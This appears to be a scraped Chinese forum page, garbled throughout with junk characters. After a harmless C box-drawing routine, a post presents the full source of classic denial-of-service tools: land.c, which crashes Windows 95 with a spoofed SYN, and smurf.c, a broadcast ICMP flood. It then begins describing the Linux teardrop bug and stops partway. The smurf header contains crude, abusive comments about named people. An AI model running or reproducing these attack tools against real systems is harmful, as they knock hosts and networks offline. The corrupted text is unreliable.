6 v# P7 L2 K; D! n7 \0 x7 u% z<FONT color=#009900>/*
9 G5 q3 j+ p! e% t- u  {2 T& Z( b*
; s2 D% A- @8 e2 N) g* Short driver module: m( _- D$ H; z* w! c8 g& d% P5 {
*4 |) a7 _2 r+ s7 O
*/</FONT></P><><FONT color=#009900>main()4 E" {. J4 e9 |
{
3 {/ ?, G, A! \" K* {clrscr();; \! x( _3 w' ~& b2 S4 o) I, Z
box(1,1,23,79);  j& c( J& }1 e2 s) l5 ]
box(2,2,21,77);! o8 `0 ]+ B/ H; e. W
box(3,3,19,75);5 R% Z( M) d/ y; l, d
box(4,4,17,73);: K" u, H& l8 R
box(5,5,15,71);
7 i7 F4 x; m& e/ z" fbox(6,6,13,69);- a, U; i: |; p8 |" K; m
box(7,7,11,67);9 O' ^7 z$ p9 R% v; c' u" y, p' v
box(8,8,9,65);
' O! }  g3 {0 m0 p: `# k) Ubox(9,9,7,63);
# |& v/ ]& f1 u) ^3 T& |box(10,10,5,61);
8 R$ g7 M  o. `$ N3 ?( Xbox(11,11,3,59);
3 H2 {* `8 o) y* jbox(12,12,1,57);
4 D4 N$ @; q7 r8 x* D4 F( I3 uposcur(24,1);
1 _! Y$ ?- i/ {$ b" i}</FONT></P><><FONT color=#009900>/************************************************************
! e$ T$ C. v' n/ U! h* BOX *
7 b# N  F0 z# F( |( e4 ]* `) f2 ^*----------------------------------------------------------*
& Q. v8 {  Z' q; ^7 _" k* Written by: Jeff Ebert 7/01/87 *
# W8 h' j9 B% y3 u8 [* Modified by: xxxxxxxxxx *7 t! n1 u3 @. w7 y. r& ~
* *
: l3 G) L  F& x0 G: U7 ^6 _/ p" t* Please modify me! *
2 q; ]- S; o' z: s* Possible Enhancements include but are not limited t *' R7 K3 h0 p% }$ v
* 1) Variable box character styles [1 line or 2] *
8 r: P3 z, ^+ M6 A* 2) Error checking *
$ u, ^1 ?0 u3 i+ J) W: ^6 x. O9 N7 ^* 3) Color options *
# f# q/ q# [1 O5 }  @* *
0 y7 p, A; D9 U9 ?: N. }" E2 Y* *
; L2 b/ N& m2 l; S! U* This function builds a simple double frame for a menu. *4 w4 t& E/ A$ T+ k# |
* The function is passed the parameters for the upper *
7 ~! v7 I2 w, X$ P* r% F. S- q* left corner row, upper left corner column the height *: j: {( h/ y8 K8 y4 Q" O
* of the frame and the width. *
! }# I9 _' G! L2 f* *7 h1 e- {9 W3 w8 {
************************************************************/. k* x5 h# E* G6 t) g1 {- s
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
8 S: c2 Y- `: b' W) B8 G( r#define URCOR 187. K' G2 v: v( [7 D# W
#define LLCOR 200. {2 o. E5 Y% {! s# q2 ~6 H' G
#define LRCOR 188
& T2 ]: S' h  Z7 A#define VBAR 186" Q  {2 p8 W% B
#define HBAR 205
- u0 n: S. s0 b5 ?. J8 H! c* N#define ESC 27</FONT></P><><FONT color=#009900>& h1 P& Q8 j. g
box(row, col, hgt, wdth), e; @! x9 L  T2 T/ N& a
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{( t& p; k0 K0 j: z
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);- i/ `& R7 N) _! O% g, b
putchar(ULCOR);/ L( j& l" j9 Z. K
for(x = col + 1; x &lt;=(col + wdth -1); x++)
+ p! P3 n4 E# q6 Y/ ^( ?putchar(HBAR);) `2 F( h) W3 N' @: l# t- [& }
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
- z" S- k- `4 Wposcur(x,col);6 E+ G( M. a! T
putchar(VBAR);
8 l4 ~" X7 v5 p& C7 r" Jposcur(x,col+wdth);
8 w6 J" e$ F7 I6 xputchar(VBAR);! f) }6 b* Q2 _8 |- H" `) _" R
}" r8 n$ \: b$ K# Z) q5 O
poscur(x,col);0 A; l+ e* N/ L/ o
putchar(LLCOR);
9 Q. g) t9 }) Z5 I5 g0 ]for(x= col + 1; x &lt;=(col + wdth -1); x++)2 s% i7 l+ ~& s1 K( O: N
putchar(HBAR);: Z4 ^/ K  X' K, W
putchar(LRCOR);
% |8 j3 o; N8 r6 j}</FONT></P><><FONT color=#009900>/********************************************************9 K9 m8 H" {# l/ j2 A
* POSCUR *
2 Z4 F+ Q# c( }- t' C3 v*------------------------------------------------------*
! f* e. W. N/ B4 F5 l. t* This function positions the cursor at the specified *( V  l. d5 z/ P) |9 [) N
* x,y coordinate. It uses the ANSI standard ESCAPE *
/ _2 k( q; }5 P2 c! K0 K- l* sequence to produce the desired effect. Its not the *
5 f3 J& i* W, }* fastest way to position the cursor, but perhaps the *
4 M' J  P1 J$ }4 z; {# u) R$ Z* most portable. *  M+ P+ K4 r1 O! r/ U
* *" N  W: ~9 }. P/ W' C
********************************************************/
; E* Y/ x6 l8 K+ d0 a. _2 c& fposcur(xcor,ycor)
3 o# J9 X( F6 \* eint xcor,ycor;" p, ^5 x' e  t7 C
{
' x% R3 R5 @3 rprintf("%c[%d;%dH",ESC,xcor,ycor);
  ^6 T1 H+ _4 y: H}</FONT></P><><FONT color=#009900>" J8 [$ a1 R  m$ U# T; p( f
/********************************************************
" v: L+ y% o0 j1 c- r* CLRSCR *" t$ ^9 f; g( ?' i' l
*------------------------------------------------------*2 y) ?7 ^# @6 G) b0 S# R% a( R  p
* This function positions the cursor at the specified *, w' i6 u4 t( G1 Q, }
* x,y coordinate. It uses the ANSI standard ESCAPE *
3 e5 T) _8 w0 L  m. b* `" M* sequence to produce the desired effect. Its not the *8 \# K# _& A+ Q+ h
* fastest way to position the cursor, but perhaps the *
9 T" a; r6 t8 Q, d9 E* W" v; [* k* most portable. *( f: }5 [/ f  |: n5 {$ s0 R) u
* *, q% R. \; d1 g0 I
********************************************************/: x1 V9 w: f' \2 m1 U$ p! o
clrscr()
' V: j  ^. J3 }' A4 A{   E# f' O& G8 A8 x' {; F* L
printf("%c[2J",ESC);
. H/ w' f3 w( |, M4 j}</FONT>
5 H4 Y% k% h5 S$ ~: N  S' w1 }</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
- j' @2 B8 M$ L5 C2 G1 M0 I/ d# i这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
) G0 S& a8 g6 v7 x3 e( X己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>. D' s, Q9 _7 b- s9 {- |! \# k
<FONT color=#009900>/* land.c by m3lt, FLC
! a" s5 Z: I2 @+ b5 d3 |: Scrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H># J! y" k; d6 x
#include <NETDB.H>
/ s6 m  G" b9 ~' m* k#include <ARPA inet.h>, W+ D& l7 }: y  d4 U$ r
#include <NETINET in.h>
5 d6 ^& i( S5 M2 t#include <SYS types.h>4 r. p, _" P4 w( D
#include <SYS socket.h>% U) `* r* o4 M9 @* a: W7 k
#include <NETINET ip.h>2 X( P* H( {, ]: L3 ?9 X5 |
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头! ]! g! {5 u$ i# A+ R' G
struct pseudohdr6 V& L1 B" @' q+ {6 u
{
* m6 }! C( b* Bstruct in_addr saddr;. r5 l1 Z7 ]! `+ X  V# \
struct in_addr daddr;% U9 Q- I) i4 `4 ~+ t  k: y* R
u_char zero;
4 d1 ~! @! D2 p6 y6 }# ?u_char protocol;" h/ x) l/ l. n7 {; C5 I
u_short length;% k. e  @. ^# A" ~5 c) ~2 [
struct tcphdr tcpheader;
2 b/ v; H6 D4 C; m};</FONT></P><><FONT color=#009900>//计算IP校验和
/ g) I6 C, J% g# q, f7 i7 Lu_short checksum(u_short * data,u_short length)  m; I; p, @3 M- v1 ]  ~! s4 p5 h
{
+ L( O* C3 y2 T. v; I% L9 Kregister long value;. t$ V8 z3 l; j& n, n0 y' U) ]
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
. w- U* r! s" ~" }3 k) t- Q9 nvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)- Y+ Q) U+ N6 D! R8 v: Z
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);1 u5 c+ L' r+ H. o0 D- I
}</FONT></P><><FONT color=#009900>
' Z# p& A3 ]2 ~: H5 [/ G5 x4 mint main(int argc,char * * argv)
% e3 Z8 y0 m5 ]9 n7 v{
5 x1 K1 O5 f) U7 O6 y6 F* h% {struct sockaddr_in sin;6 p: \0 G3 u+ H
struct hostent * hoste;( L/ t. \# y8 n# \3 x
int sock;8 n! E. P# ~. u. t- [1 M. _) J
char buffer[40];5 Y4 p1 j, n7 h+ {+ |6 Z, @" g
struct iphdr * ipheader=(struct iphdr *) buffer;
% _5 J; D, H& ?" W3 D9 K5 A$ Kstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));3 o9 t& H: Q2 s! m# _
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)3 x, N1 c" F& Z! o4 Y$ E3 P5 M" I
{" k$ v" @! `, _0 T
fprintf(stderr,"usage: %s IP port\n",argv[0]);3 m1 ^4 y+ Q  t. g. m, f
return(-1);
: E- ^- N8 g9 D) f) G}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));% e) [3 i7 ?8 t9 x& l  ~* ~
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)) ~; P$ N: H+ Z% U" A9 s( o, C( V
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
& u& h  C( G! z# ~, _& relse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)8 s% D% f/ N2 {
{6 n- F9 E( [) X" k* a8 P- M, E1 H
fprintf(stderr,"unknown host %s\n",argv[1]);4 |- ]) N7 A% p$ a; B* q
return(-1);
4 `( |- U1 J- v9 F}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
1 `6 S7 |) K2 s5 s- o% l8 t% R{
0 ?9 [6 {/ f9 t( |, s0 _9 Pfprintf(stderr,"unknown port %s\n",argv[2]);
/ z$ a+ }3 v. e: Greturn(-1);
/ o- i2 o. U' u1 c8 |) E9 n6 A}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限! i& Z/ r$ o' W/ H$ V
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)/ z! k: o5 T1 O! w9 b: E" K
{
) E  _( A$ y5 M+ E& Lfprintf(stderr,"couldn't allocate raw socket\n");5 ~& U& s" Q. `& U4 T
return(-1);9 d7 @6 S( [  L4 W/ k% T7 U
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));' m4 p8 D6 m4 t3 U8 X
ipheader-&gt;version=4;. I$ @4 J1 s1 W. K' O2 i6 W
ipheader-&gt;ihl=sizeof(struct iphdr)/4;
" s5 p' U6 }0 M1 j" q$ A& ?: f& t8 |% Sipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));! K; e- y4 l5 u( Y4 G
ipheader-&gt;id=htons(0xF1C);
$ u" O: I  e9 S1 C0 aipheader-&gt;ttl=255;. i1 a1 s, B( Y, y( d* H
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
  _1 Z8 [' Z$ [  k5 T( e. b- vipheader-&gt;saddr=sin.sin_addr.s_addr;1 ?! ~9 k0 u. Q
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同% a4 w7 j9 t5 q4 C% a! j% v* e
tcpheader-&gt;th_sport=sin.sin_port;5 _: O6 Y5 N) \. c7 i) B; R1 o
tcpheader-&gt;th_dport=sin.sin_port;
: b9 F% f+ E4 `; {; t) ftcpheader-&gt;th_seq=htonl(0xF1C);7 W$ R# C: i% y- V3 B2 P" O
tcpheader-&gt;th_flags=TH_SYN;- `9 ]! \  B( X9 }8 j5 V; ~) `
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
: R( A  F2 I* Ntcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));* H! a8 S3 b- c/ R" y3 S5 T4 _
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
: z" V1 B3 T8 s$ x+ @9 S; ^pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
, c6 ]+ h' A  Y2 y0 ~5 d8 c; epseudoheader.protocol=6;" |* A4 W" Z* B" i$ b7 B* W
pseudoheader.length=htons(sizeof(struct tcphdr));7 ]& b# n/ T9 o3 x) V
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));' R  t+ ^% ^) g# b; z8 G7 k
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),+ j  N* }# M9 W" y4 f5 H( I  G
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
3 {9 R9 b# b$ y' C3 R  ?+ g( Y{
/ B7 M* W; A0 S9 {1 r: R4 _) dfprintf(stderr,"couldn't send packet\n");/ [9 J, k9 n/ U2 z# t4 j
return(-1);
$ |; m2 c+ J* D1 W: _0 ^}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);( c/ S3 n1 ~- v+ ?% F
return(0);3 }' W6 N- C$ j0 G9 s5 ]( I( @
}</FONT></P><>8 L9 ~* B5 d, F7 u
2 Smurf
* J' l- n0 G8 v: p- q* B9 K; Xsmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
. |1 b7 D9 l, F, u4 v1 v( \据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包% s  i- Q% q% O0 _# a4 o
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
2 T, J$ y; f2 M) ]! X# T- \# oicmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
3 e) ]# g; c5 _1 i' n1 X(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
* G0 ^& U/ ~8 a8 q/ F5 ]- p+ m" W成不可能(没有WINS服务器时)。</P><P>/*
% p" ^! ^( y# {1 W*) v- T9 J+ K4 t  c- p8 k
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
1 h/ I. d$ v7 x8 F" p; L8 Y: n& W*
& E: {, @0 X6 C8 m* spoofs icmp packets from a host to various broadcast addresses resulting' {3 i  H0 i% t& N! h
* in multiple replies to that host from a single packet.; k' k' P4 Z% x: {
*" T* S4 Q, x2 k
* mad head t
# N' x+ |0 c& t9 E* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,( F7 K) B$ n! G( l
* MissSatan for swallowing, napster for pimping my sister, the guy that) x, P1 ^8 k' f
* invented vaseline, fyber for trying, knowy, old school #havok, kain
& t& R: z9 S' W0 n1 h* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might1 O% y$ C8 t% c+ L
* have missed (you know who you are).
  S9 R- v) d2 i; Q6 u' `*3 N2 i/ W4 K+ {# @6 a4 n) L1 a
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
6 e" m+ t8 n9 P& C3 ]* thing he is (he's -almost- as stubborn as me, still i managed to pick up
; b& ?+ ~6 }" ~; S3 e5 S* half the cheque).4 V6 L$ a7 }  n$ n  G3 w
*6 K, t- v: {" k$ c
* and a special hi to Todd, face it dude, you're fucking awesome.
; z1 {$ P0 Q" }, u1 ]! y*+ V3 Y. x* U! K  [, }5 Q6 z1 L
* mad anal t% X) q3 `  [$ @5 W5 p
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps/ n/ m1 ]1 J! C" v& }
* because they plain suck, Rolex for being a twit, everyone that0 u! s* @1 i, _) r' G
* trades warez, Caren for being a lesbian hoe, AcidKill for being her0 R* s+ A8 k: j) e' p: `
* partner, #cha0s, sedriss for having an ego in inverse proportion to- ?4 W# {% g0 f6 L$ T+ s
* his penis and anyone that can't pee standing up -- you don't know what4 r+ l( s3 J* u' M
* your missing out on.. E( W# V1 [* F
*4 L$ s( q6 J& V9 z
* and anyone thats ripped my code (diff smurf.c axcast.c is rather
7 Z. ^5 w9 _# z, g5 K* interesting).) Y" U  C. n! |# N
*3 a2 [1 F; _/ n( m& U5 D* @
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill2 `( H8 U8 M- H, |$ w" @' g* p2 V
* Robbins for trying to steal my girlfriend. Not only did you show me; E& g, i$ ~2 j  b& L
* no respect but you're a manipulating prick who tried to take away the
0 T6 l" y0 M* R9 K: E* most important thing in the world to me with no guilt whatsoever, and
' s  {( E. E! h. }; ]* for that I wish you nothing but pain. Die.
3 P+ }/ S! B. F  c8 W/ m4 C( ]*$ Y0 J6 q' Q7 V7 L# R
* disclaimer:$ f; @; I& ~- S8 Y" L4 b
* I cannot and will not be held responsible nor legally bound for the4 h9 L! a2 Q  r. o; H
* malicious activities of individuals who come into possession of this
; w) }  t4 y; r* program and I refuse to provide help or support of any kind and do NOT/ u) ]2 V( w* P  ]" B
* condone use of this program to deny service to anyone or any machine.
* P/ W$ E1 X$ |" d, n* W* This is for educational use only. Please Don't abuse this.
; v7 }8 g4 q3 `, J2 q, z* F*
# z3 d2 s  n/ h/ m* Well, i really, really, hate this code, but yet here I am creating another/ @* E( O) A. \" v' F" ^
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
1 ?0 H0 p# S- Q3 I2 {; N* like most programmers don't like seeing bugs in their code. I saw a few
/ h" S" E! B& B3 A3 g* things that should have been done better or needed fixing so I fixed$ h5 }. U8 V# D6 n
* them. -shrug-, programming for me as always seemed to take the pain away
* S5 Z$ Q! K. R+ h8 n! _* ...
9 }$ v5 y8 n" Y  l: @*+ k/ V8 L1 U. W9 W: R
*; u  f/ d+ ]* c6 L# z# C, G
*/</P><P>#include <SIGNAL.H>
% X# f) A8 W" X; g) d7 v1 B% N( [#include <STDIO.H>
, F- r+ L- d  u& s. S6 w#include <STDLIB.H>
  s; b" G- V" ]% t: a3 O3 E, D#include <SYS socket.h>
& N. `2 E/ H6 l$ k7 Y( Y#include <SYS types.h>
% \  s* C- {1 e( t6 u! z! c9 O+ z#include <NETINET in.h>! g' p# M+ B2 f& o3 W
#include <NETINET ip.h>
; z1 N6 |% G& ~1 d, X; X5 v* ~#include <NETINET ip_icmp.h>
2 M3 r, V$ j% \1 t9 L5 T#include <NETDB.H>
9 W3 a* l, D& T( f7 s#include <CTYPE.H>0 |- q# m. j# I; C) Q" T
#include <ARPA inet.h>
' s5 Q2 g9 N1 v# P0 {( m8 J#include <UNISTD.H>8 U8 z4 I- Y7 m1 E' v; Z0 T2 F. K
#include <STRING.H></P><P>void banner(void);
6 Q$ o" ~0 n$ A" q. R2 w' I8 }void usage(char *);
9 @1 n6 X8 b! b" G4 E/ Z% ovoid smurf(int, struct sockaddr_in, u_long, int);
/ n5 [" D6 `" g* T! K+ f* }/ B4 }5 o+ Nvoid ctrlc(int);
* I& i1 L$ Y1 h# x; Aunsigned short in_chksum(u_short *, int);</P><P>/* stamp */
: w' Q: o8 C5 `9 _/ \$ tchar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])4 d" B' r$ {' s) R$ _
{
% ?$ g  s9 q8 w' C/ Zstruct sockaddr_in sin;. t2 S1 |6 C1 p" k' P7 j
struct hostent *he;2 x% i+ O5 m/ u. H
FILE *bcastfile;
, q' O6 L' q8 n9 mint i, sock, bcast, delay, num, pktsize, cycle = 0, x;
' E8 G" S& ^  o0 G- `: v9 C. y+ O$ {char buf[32], **bcastaddr = malloc(8192);</P><P>banner();
! W; u9 J1 i$ m/ A/ J. c5 z% a- Psignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
. {4 N6 \1 T" E- R3 Z1 I7 U$ X; f2 operror("resolving source host");: Q' X2 f7 F8 H% y% w
exit(-1);
+ G. O! G2 J/ O5 z$ J5 u}! d# R4 i$ a# W, G
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
( v* @' ?' ^, \" }3 g$ Asin.sin_family = AF_INET;2 |" E0 p" K( K
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
% \; j; C! l3 d" K' Q8 Vdelay = atoi(argv[4]);2 H) |5 ^7 p4 O/ N
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {  h1 I& K9 }( O: K7 t& |
perror("opening bcast file");
4 W3 {0 L' C: r5 F3 N( c9 fexit(-1);! x( W7 m2 E3 c  r$ z  i4 R
}
  \" h5 L. R7 w! Y- ix = 0;* v% P+ e/ r/ k9 b6 D  p+ T  Y
while (!feof(bcastfile)) {( D6 _% M& J- U( z/ W! h2 K/ c
fgets(buf, 32, bcastfile);
2 ^8 x2 g: I5 y# dif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;' V8 _4 p+ v  J2 w. _! E
for (i = 0; i &lt; strlen(buf); i++)
* |( `9 Y3 z  a: Kif (buf == '\n') buf = '\0';3 m4 l' h: |, ]* `! a& Y
bcastaddr[x] = malloc(32);  k4 k' S( k& s5 p" [, ]  G" v
strcpy(bcastaddr[x], buf);
9 i$ ?8 W1 N9 Zx++;
2 N" Q: A) a+ I2 E, b# O}
3 Z6 r% T$ U; R9 m* R! Qbcastaddr[x] = 0x0;
3 l2 v. b7 K% B1 v6 [  `0 Ifclose(bcastfile);</P><P>if (x == 0) {
5 L- E' j8 |& _! Cfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
: G: _1 I: f: c5 K  \% lexit(-1);/ e7 I6 C; ?1 L( w$ y  q  n
}$ s8 b! G  ]3 N( d
if (pktsize &gt; 1024) {  ^1 Q8 U+ e* K7 \% R
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
* X! C& z: @- d7 l& S9 ~0 kexit(-1);
4 W( F) f/ N" o! w}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
' B8 {6 |4 N& W* Q# p+ e4 z' K2 zperror("getting socket");5 ~' d4 [* y" B" Q$ |  {
exit(-1);9 u; s1 Q0 a$ Q
}+ y; M2 _9 ^. L5 S0 x1 b& d4 e: M
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {) x$ D' W5 q+ y* E% V  N
if (!(i % 25)) { printf("."); fflush(stdout); }) P3 \1 t; ~+ V" W7 G) O
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);& i+ c- _6 h' Z1 N5 s
cycle++;- P3 c  T4 k3 k. g' T6 g1 K2 i
if (bcastaddr[cycle] == 0x0) cycle = 0;# a. n+ }5 B7 _1 k+ O9 W
usleep(delay);
% v% V+ ~# L; G2 _" s! Y, P- D  d}
! F& l/ ?" h6 I. O7 Qputs("\n\n");
! ?( {& f3 e& }4 V& ~return 0;
: t' }3 U) k- o& H( R; [8 M$ ?}</P><P>void banner (void)
! b$ D) H8 ?; h* |$ {{
9 ]. O; ?) F, E- Tputs("\nsmurf.c v4.0 by TFreak\n");4 _' ?% {. w) k  g6 g, h+ w6 _
}</P><P>void usage (char *prog)4 S5 h6 k- \* q0 L+ D0 j$ R8 U, l
{2 L2 o. e9 j' L, ]
fprintf(stderr, "usage: %s <TARGET><BCAST file>". k; ?7 V9 r. d: g' e
"<NUM packets> <PACKET delay><PACKET size>\n\n"
2 ]2 i4 k6 W" d$ F5 F7 Z"target = address to hit\n". e% Z3 m, k3 i8 z$ ^+ |
"bcast file = file to read broadcast addresses from\n"
  m6 a; Q/ Y& Z. y- \- Z"num packets = number of packets to send (0 = flood)\n"/ ?1 @+ x6 v/ A3 h) l: W
"packet delay = wait between each packet (in ms)\n"
9 a; [1 E! O% y, Q4 z! T" ]"packet size = size of packet (&lt; 1024)\n\n", prog);. u1 d8 @5 u; E* c% i1 K6 O4 O$ ~
exit(-1);/ B0 y. }  N# t- g
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
# {9 W( S9 F" |% D{/ a( q* H0 k7 }9 O( f
struct iphdr *ip;5 q- b3 m( W, G8 z+ }# G
struct icmphdr *icmp;
& B* m; g% O3 \# s+ @* v# l( [char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);. c# B1 N+ {& |' k9 ^: f# d* H
ip = (struct iphdr *)packet;
4 ~. Q8 f2 y" B1 y) k8 Z6 Bicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);: K; @- g% }/ d0 i
ip-&gt;ihl = 5;
" ]% \2 C' q$ t+ N1 O3 Jip-&gt;version = 4;& F' a* [3 F) ]% A1 A, G8 N$ [5 y% r& |
ip-&gt;ttl = 255;
" M: A6 |- P: q  e$ S1 c+ A$ I# Rip-&gt;tos = 0;$ O  [  h6 ]6 A! n0 _3 @0 h
ip-&gt;frag_off = 0;8 Z2 {1 p* G, t0 ]  H( C0 {; ^
ip-&gt;protocol = IPPROTO_ICMP;1 r0 d- R+ P1 y4 D: C  r) R9 v
ip-&gt;saddr = sin.sin_addr.s_addr;
7 o, x4 [0 y% [. `& c* _ip-&gt;daddr = dest;
  X2 ?6 U( l0 J  L0 n6 b; M2 k" uip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
6 T  ^+ T* B, m) F9 W- n3 r) Qicmp-&gt;type = 8;6 `; ?2 f6 Z+ W5 @9 j/ U/ Y
icmp-&gt;code = 0;3 U$ t* f8 A% I, h
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
5 c3 _+ ~) I; d. `0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */$ R5 \) T0 S! v5 W
}</P><P>void ctrlc (int ignored)- j2 }' d5 w6 m3 i
{0 J& u3 e0 i1 K  d# I7 K7 e+ C8 x0 y6 {
puts("\nDone!\n");' V, ~6 C0 t+ ^, O1 R
exit(1);" X  v8 [+ B- F
}</P><P>unsigned short in_chksum (u_short *addr, int len)
: p3 |; E  x# R9 w{( c* E3 L) }+ g+ w
register int nleft = len;! M2 ?0 f5 M7 q! s; D
register int sum = 0;
" d& o* i1 r, _" e( ?0 Wu_short answer = 0;</P><P>while (nleft &gt; 1) {$ z+ V$ Z" ?& @, @: f8 @; Y
sum += *addr++;
8 `+ S; k+ o' S4 l. e" J+ F. Znleft -= 2;" N7 _  o' X7 \% `- F2 n5 n* T
}</P><P>if (nleft == 1) {) G; s8 ?' d, [) G' n7 D
*(u_char *)(&amp;answer) = *(u_char *)addr;3 O! {9 w2 Y- {9 d
sum += answer;
9 `1 \8 a& z# B% w$ u}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);+ p2 S$ w( O) ?3 l
sum += (sum &gt;&gt; 16);3 y+ M* n, ]# i, e, l+ A% n
answer = ~sum;, g0 U  G9 _* T9 c5 P3 J. ]4 F
return(answer);2 J% q* @% L. o+ r
}</P><P>
2 C% P# C2 ?; y, ^7 K3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:9 Z; u  P8 H$ {( x6 ~9 W5 W2 f' J
fp = qp-&gt;fragments;
- v, a9 a5 R- ~6 L( vwhile(fp != NULL)
. [0 U0 J- ~1 k0 U' _{# N' `6 F, Q8 C* f! ^
if(count+fp-&gt;len &gt; skb-&gt;len)
" y/ O# _! B* r7 n# t. H5 G{
- E* r: X7 G( r* P3 |+ U2 Kerror_to_big;
4 O: F# S4 ]" S# t6 R3 R0 U}& r& ]9 p( v0 P. n1 C9 r% @
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);' O" |" r" x& h: l
count += fp-&gt;len;
7 J5 C" t' L; W) N  m+ [fp = fp-&gt;next;
' c3 p' u# b  b3 S! {}! Z4 A- b) u: ?8 ^" C9 M
这里只检查了长度过大的情况,而没有考虑长度过小的情况,, L; K0 \! a& e% W
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:+ h( ]% O: w: U  I
